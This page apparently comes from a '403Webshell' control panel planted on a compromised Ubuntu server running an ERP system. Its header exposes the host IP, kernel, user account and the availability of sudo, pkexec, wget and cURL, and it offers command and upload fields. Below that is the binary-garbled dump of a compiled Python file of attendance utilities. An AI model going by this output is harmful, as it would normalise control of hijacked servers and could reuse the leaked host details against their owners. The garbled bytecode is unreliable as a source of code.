403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/attendance/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/attendance/methods/__pycache__/utils.cpython-310.pyc
o

hͦh}J�
@s�dZddlZddlmZmZmZddlZddlmZddl	m
Z
ddlmZddl
mZmZddlmZdd	lmZdd
lmZddlmZmZmZddlmZdd
lmZmZddddddddddddd�Z dd�Z!dd�Z"dSdd �Z#dSd!d"�Z$d#d$�Z%d%d&�Z&d'd(�Z'd)d*�Z(d+d,�Z)d-d.�Z*d/d0�Z+d1d2�Z,d3d4�Z-d5d6�Z.d7d8�Z/d9d:�Z0d;d<�Z1d=d>�Z2d?d@�Z3dAdB�Z4dCdD�Z5GdEdF�dF�Z6GdGdH�dH�Z7dIdJ�Z8dKdL�Z9dMdN�Z:dOdP�Z;dQdR�Z<dS)Tz4
utils.py

This module is used write custom methods
�N)�datetime�time�	timedelta)�ValidationError)�	Paginator)�models)�Q�Sum)�HttpResponse)�gettext_lazy)�get_pagination)�	WEEK_DAYS�
CompanyLeaves�Holidays)�Employee)�HORILLA_DATE_FORMATS�HORILLA_TIME_FORMATS���������	�
��)�january�february�march�april�may�june�july�august�	september�october�november�decembercCs>t|d�}t|dd�}t|dd�}|d�d|d��S)zi
    this method is used to formate seconds to H:M and return it
    args:
        seconds : seconds
    ��<�02d�:)�int)�seconds�hour�minutes�r3�(/var/www/erp/attendance/methods/utils.py�format_time'sr5c	Cs,gd�}tdd�t|tt|�d���D��S)z�
    this method is used reconvert time in H:M formate string back to seconds and return it
    args:
        time : time in H:M format
    )r+r,rcss�|]	\}}||VqdS�Nr3)�.0�a�br3r3r4�	<genexpr><s�z"strtime_seconds.<locals>.<genexpr>r.)�sum�zip�mapr/�split)r�ftrr3r3r4�strtime_seconds4s$r@cs^i}|jj}�r�fdd�|D�}|D]}t||j�}t||j�}||kr,||f||j<q|S)aj
    Compare the fields of two instances and identify the changes.

    Args:
        first_instance: The first instance to compare.
        other_instance: The second instance to compare.
        exclude_fields: A list of field names to exclude from comparison (optional).

    Returns:
        A dictionary of changed fields with their old and new values.
    csg|]	}|j�vr|�qSr3)�name)r7�field��exclude_fieldsr3r4�
<listcomp>Psz get_diff_obj.<locals>.<listcomp>)�_meta�fields�getattrrA)�first_instance�other_instancerD�
difference�fields_to_comparerB�	old_value�	new_valuer3rCr4�get_diff_obj?s
��rOc
Cs*i}|��D]�\}}|�|�}||krq|s||f||<q|j�|�}|j}t|tj�rO|r;|dkr;t�	|d��
d�n|}|rL|dkrLt�	|d��
d�n|}n=t|tj�rbdd�}	|	|�}|	|�}n*t|tj�r�|rxt
|���rx|jjj|d�n|}|r�t
|���r�|jjj|d�n|}||f||<q|S)an
    Compare two dictionaries and identify differing key-value pairs.

    Args:
        first_dict: The first dictionary to compare.
        other_dict: The second dictionary to compare.
        model: The model class (optional, for verbose names and type-specific formatting)

    Returns:
        A dictionary of differing keys with their old and new values.
    �None�%Y-%m-%dz%d %b %YcSs@|r|dkr|t|�d��dkrdnd7}t�|d��d�S|S)NrPr.rz:00��%H:%M:%Sz%I:%M %p)�lenr>r�strptime�strftime)�valr3r3r4r5�sz"get_diff_dict.<locals>.format_time)�id)�items�getrF�	get_field�verbose_name�
isinstancer�	DateFieldrrUrV�	TimeField�
ForeignKey�str�isdigit�
related_model�objects)
�
first_dict�
other_dict�modelrK�key�value�other_valuerB�verbose_keyr5r3r3r4�
get_diff_dict^sT
������
�
���
��rlcCs6d\}}z|jj}|j}W||fS||fYS)zb
    This method return the employee instance and work info if not exists return None instead
    )NN)�user�employee_get�employee_work_info)�request�employeeror3r3r4�employee_exists�s
rrcCsX|jj|d�}d\}}}|��r'|d}|j}t|j�d��}t|j�d��}|||fS)z�
    This function is used to find shift schedules for the day,
    it will returns min hour,start time seconds  end time seconds
    args:
        shift   : shift instance
        day     : shift day object
    )�shift_id)rr�00:00rz%H:%M)�day_schedule�filter�exists�minimum_working_hourr@�
start_timerV�end_time)�day�shift�schedule_today�start_time_sec�end_time_sec�minimum_hourr3r3r4�shift_schedule_today�s

r�cCs4|j}|j}t|�}t|�}||krt||�SdS)a
    This method is used to calculate overtime of the attendance, it will
    return difference between attendance worked hour and minimum hour if
    and only worked hour greater than minimum hour, else return 00:00
    args:
        attendance : attendance instance
    rt)r��attendance_worked_hourr@r5)�
attendancer��at_work�at_work_sec�minimum_hour_secr3r3r4�overtime_calculation�s	r�cCs8|jj}z
|jjj}W||kStytd�YSw)a
    if the instance have employee id field then you can use this method to know the
    request user employee is the reporting manager of the instance
    args :
        request : request
        instance : an object or instance of any model contain employee_id foreign key field
    z,This Employee Dont Have any work information)rmrn�employee_idro�reporting_manager_id�	Exceptionr
)rp�instance�manager�employee_workinfo_managerr3r3r4�is_reportingmanger�s	���r�c
Cs@d}zt�||�}|��WSty}zttd���d}~ww)NrSz,Invalid format, it should be HH:MM:SS format)rrUr�
ValueErrorr�_)ri�
timeformat�	validtime�er3r3r4�validate_hh_mm_ss_format�s
��r�c
Cs�|�d�dkrd�|�d�dd��}t|�dkrttd���z@|�d�\}}t|�dks3t|�dkr9ttd���t|�}t|�}tt|��dksWtt|��dksW|td�vr]ttd	���WdSt	yr}zttd
��|�d}~ww)�M
    this method is used to validate the format of duration like fields.
    r.rNrz)Invalid format, it should be HH:MM formatrzInvalid timer,�Invalid time, excepted MM:SSzInvalid format)
�count�joinr>rTrr�r/ra�ranger�)rir1�minute�errorr3r3r4�validate_time_format�s",���r�cCs4t����}|sttd���||krttd���dS)z�
    Validates if the provided date is not a future date.

    :param date: The date to validate.
    :raises ValidationError: If the provided date is in the future.
    zCheck date format.z You cannot choose a future date.N)r�today�daterr�)r�r�r3r3r4�attendance_date_validates�r�cCsp|jj}|jj}|jj}|jj}|jj}|jj}|jj}|jj}|jj}	|jj}
t	|||||�t	||||	|
�fS)z�
    This method is used to convert clock-in and clock-out of activity as datetime object
    args:
        attendance_activity : attendance activity instance
    )
�
clock_in_date�year�monthr{�clock_inr1r��clock_out_date�	clock_outr)�attendance_activity�in_year�in_month�in_day�in_hour�	in_minute�out_year�	out_month�out_day�out_hour�
out_minuter3r3r4�activity_datetimes
�r�cCsFtt|�d��\}}t�|�d|�d�d���}|tdd�}||fS)zI
    This method is use to return the start and end date of the week
    z-Wz-1z	%Y-W%W-%wr��days)r=r/r>rrUr�r)�weekr��week_number�
start_date�end_dater3r3r4�get_week_start_end_dates*sr�cCsLtt|�d��\}}t||d���}t�||�\}}t|||���}||fS)zJ
    This method is use to return the start and end date of the month
    �-r)r=r/r>rr��calendar�
monthrange)�
year_monthr�r�r�r��last_dayr�r3r3r4�get_month_start_end_dates:s
r�cC�Vddd�}g}|D]}|j|d�jtd�d�d}|�|r!|dnd	�q	||d
<|S)z&
    To find all the worked hours
    zWorked Hourszrgba(75, 192, 192, 0.6)��label�backgroundColor��:employee_id__employee_work_info__department_id__department�hour_account_second��	total_sumr�r+r�data�rv�	aggregater	�append��labels�recordsr��dept_records�deptr�r3r3r4�worked_hour_dataJ�����r�cCr�)z'
    To find all the pending hours
    z
Pending Hourszrgba(255, 99, 132, 0.6)r�r��hour_pending_secondr�r�r+rr�r�r�r3r3r4�pending_hour_data\r�r�cCs|jjr|jjSdS)z5
    This method is used to return the last name
    rR)r��employee_last_name)r�r3r3r4�get_employee_last_namensr�cCslt�|d�}|�d�}g}tj��}|D]1}|j}|j}t�t|�d�}t�t|�d�}|}	|	|krE|�	|	�d��|	t
dd�7}	|	|ks2q|D]}
t|
�t|�krVd}nqHi}tj��}|D]}
tt
��|
j�}|
j}|||<q`t|jdddd�}|��D]0}t|d�dkr�t|d�t|�kr�d}|St|d�|kr�t|d�t|�kr�d}|Sq�|S)	NrQz%Arr�rtrrrP)rrUrVrrd�allr�r�rar�rr�dictr
rZ�based_on_week_day�
based_on_weekr{rY)�attendance_dater��attendance_datetime�attendance_day�leaves�holidays�holir�r��current_date�leave�company_leaves�
company_leave�	com_leaver8r9�
week_in_month�pairsr3r3r4�attendance_day_checkingwsP

���

��r�cCst|t��}|�|�}|S)z2
    This method is used to paginate queryset
    )rr�get_page)�qryset�page_number�	paginatorr3r3r4�
paginator_qry�s
r�cCsNg}tjj||d�}|t|jddd��7}tj��}|D]�}|}|}|j}|j}|dkrmt	�
d�t	�||�}|t|�}	dd�|	D�}
|
D]%}t
�|�d|d	�d|d	��d
���}|��t|�krk||vrk|�|�qFqt	�
d�t	�||�}|D])}
|
t|�dkr�t
�|�d|d	�d|
t|�d	��d
���}||vr�|�|�qzq|S)N)�start_date__month�start_date__yearr�T)�flatrcSsg|]}|dkr|�qS)rr3)r7r{r3r3r4rE�sz&monthly_leave_days.<locals>.<listcomp>r��02rQr)rrdrv�list�values_listrr�r�r�r��setfirstweekday�
monthcalendarr/rrUr��weekdayr�)r�r��leave_datesr�r�r�r�r��month_calendar�weeks�weekdays_in_weeksr{�	date_namer�r3r3r4�monthly_leave_days�sP

��
��

��
��r�c
Cs�t|�dkrttd���z6|�d�\}}t|�dks t|�dkr&ttd���t|�}t|�}|td�vs:|td�vr@ttd���WdStyU}zttd��|�d}~ww)	r�rz)Invalid format, it should be MM:SS formatr.rr�r,zInvalid format,  excepted MM:SSN)rTrr�r>r/r�r�)rir2�secr�r3r3r4�validate_time_in_minutes�s���r�c@seZdZdZ		ddd�ZdS)�Requesta_
    Represents a request for clock-in or clock-out.

    Attributes:
    - user: The user associated with the request.
    - date: The date of the request.
    - time: The time of the request.
    - path: The path associated with the request (default: "/").
    - session: The session data associated with the request (default: {"title": None}).
    �returnNcCs4||_d|_ddi|_||_||_||_t�|_dS)N�/�title)rm�path�sessionr�rr�META)�selfrmr�rrr3r3r4�__init__�s
zRequest.__init__)rN)�__name__�
__module__�__qualname__�__doc__rr3r3r3r4r��s
�r�c@seZdZdZedd��ZdS)rz0
    Provides access to HTTP metadata keys.
    cCsdgS)z�
        Retrieve the list of available HTTP metadata keys.

        Returns:
            list: A list of HTTP metadata keys.
        �HTTP_HX_REQUESTr3)�clsr3r3r4�keyssz	META.keysN)rr	r
r�classmethodrr3r3r3r4r
src	CsRt|t�r|St|t�r't��D]}zt�||���WSty&YqwdSr6)r]rrar�valuesrrUr�)�time_str�
format_strr3r3r4�
parse_times

�rc	CsDzt�|���WStjjtfy!d|��d��||<YdSw)NzInvalid date format for ���)�pd�to_datetimer��errors�ParserErrorr�r>)�date_str�	error_key�activityr3r3r4�
parse_date*s�rcCs*|r|rt�|�d|dd���d�SdS)N� rz%Y-%m-%d %H:%M)rrU)rrr3r3r4�parse_datetime2s����rc	CsRt|t�r|St|t�r't��D]\}}z	t�||�WSty&YqwdSr6)r]rrarrYrUr�)r��format_namerr3r3r4�get_date:s

�r cCs<|D]
}t|d�|d<qdd�|D�}t|dd�d�}|S)N�Attendance DatecSsg|]
}|ddur|�qS)r!Nr3)r7rr3r3r4rELs
�z'sort_activity_dicts.<locals>.<listcomp>cSs|dS)Nr!r3)�xr3r3r4�<lambda>Qsz%sort_activity_dicts.<locals>.<lambda>)rh)r �sorted)�activity_dictsr�sorted_activity_dictsr3r3r4�sort_activity_dictsFs�r'r6)=rr�rrr�pandasr�django.core.exceptionsr�django.core.paginatorr�	django.dbr�django.db.modelsrr	�django.httpr
�django.utils.translationrr��base.methodsr�base.modelsr
rr�employee.modelsr�horilla.horilla_settingsrr�
MONTH_MAPPINGr5r@rOrlrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr r'r3r3r3r4�<module>sn�

C		8	'


Youez - 2016 - github.com/yon3zu
LinuXploit